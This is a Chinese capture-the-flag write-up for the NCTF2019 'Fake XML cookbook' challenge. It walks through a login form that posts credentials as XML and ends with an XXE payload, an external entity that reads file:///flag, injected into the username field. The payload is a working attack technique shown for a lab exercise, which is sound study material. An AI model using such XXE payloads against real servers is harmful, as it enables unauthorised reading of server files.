[NCTF2019]Fake XML cookbook

知识点

XML注入

审题

一个简洁的登录框 第一反应是sql 但是这个题目让我感觉考的点应该不是sql 尝试了几个弱口令(毕竟有的题目上来就是弱口令)之后 开始翻源码 找到hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

审计

有几个需要多看一眼的点 第一个就是

1
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";

我们post的data竟然套了一层xml 怀疑是不是可以用xml注入 具体得用抓包来验证 到时候再说

第二就是怀疑是否可利用code那边 猜测code如果等于1 那判断登陆成功 但是result.getElementsByTagName这个函数没有给我们 看下来更有希望的是xml注入

什么是xml

xml和html的区别就是 xml是单纯只用于储存数据的 而html更多是注重于数据的外观 也就是一个是储存信息 一个是显示信息
也很好理解 还不理解的话可以康康菜鸟教程

xml注入

其实就跟sql一样 后台没有过滤掉被插入的恶意语句从而拿到信息 我们抓包之后发现 发现了确实是post了一个xml套着的username和password

从而我们可以套xml注入的模板 拿到flag

EXP

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>

EOF